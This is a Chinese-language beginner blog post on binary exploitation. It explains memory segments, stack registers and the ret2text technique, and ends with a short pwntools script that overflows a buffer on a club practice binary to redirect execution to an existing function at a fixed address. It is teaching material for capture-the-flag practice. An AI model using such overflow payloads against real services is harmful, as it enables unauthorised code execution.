PWN学习-Ret2text
2025/11/29
本篇文章主要介绍了有关于栈结构的介绍以及Ret2text的使用
程序的内存结构
- 什么是程序的内存结构
当一个程序开始运行的时候,我们的操作系统就会给程序分配一个虚拟内存,这个虚拟内存空间通常会被划分成好几个逻辑段(分区), 每一个区域负责存储不同类型的数据。
| 内存段 | 存储内容 | 特点 | Pwn关联 |
|---|---|---|---|
| Text(代码段) | 程序的机器指令、可执行代码 | 只读,静态(大小固定),程序流的起点 | ret2text 就是要劫持程序流到这里的目标函数 |
| Data/BSS | 全局变量、静态变量 | 静态(大小固定),程序加载时分配 | 较少用于直接利用,但可能存储重要信息 |
| Stack(栈) | 函数调用信息、局部变量、函数参数 | 动态、向下生长(向低地址),LIFO(后进先出) | 栈溢出 (Stack Overflow) 的目标区域 |
| Heap(堆) | 动态分配的内存 | 动态、向上生长(向高地址),用于存储大块的、生命周期不确定的数据 | 堆溢出 (Heap Overflow) 的目标区域 |
在初学阶段,建议是先不学习Heap(堆)难度较大
关键点: 栈和堆是从内存空间的两端(一高一低)向中间生长的。
栈的执行过程
- 栈是理解函数和调用栈溢出最重要的概念。栈是一个数据结构,用来管理函数执行所需的局部环境,这个环境叫栈帧
| 寄存器 | 全称 | 作用 | Pwn 关联 |
|---|---|---|---|
| RIP/EIP (64/32位) | 指令指针 | 控制程序下一条要执行的指令地址。 | Pwn 的最终目标就是控制 RIP/EIP,使其指向我们想要执行的代码。 |
| RBP/EBP (64/32位) | 基址指针 | 标识当前栈帧的底部(或基址),用于稳定地访问局部变量和参数。 | 栈溢出时,通常会先覆盖 RBP,但这不是目的。 |
| RSP/ESP(64/32位) | 栈顶指针 | 标识当前栈帧的顶部,栈的读写操作都从这里开始。 | 栈是向下生长的,所以 RSP 总是指向地址最低的地方。 |

Ret2text
- 什么是ret2text?
利用栈溢出漏洞,覆盖栈上的返回地址,使其指向程序内存中已经存在的一段代码(即 .text 段中的代码)。
- Ret2text 的前提条件
栈溢出漏洞: 程序中存在一个易受攻击的函数(如 gets、strcpy),允许攻击者写入超过缓冲区大小的数据到栈上。
目标函数存在: 程序中必须已经存在一个可以达成攻击目的的函数(例如,一个名为 win() 或 shell() 的函数),并且这个函数的 地址是已知且固定的。
例题讲解
这里使用的是社团练习平台的Ret2text
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io = remote("")
io = process("./ret2text")
payload = b'a' * 0x20 + b'b' * 0x08 + p64(0x40115A)
io.sendlineafter(b'Please enter your payload...\n',payload)
io.interactive()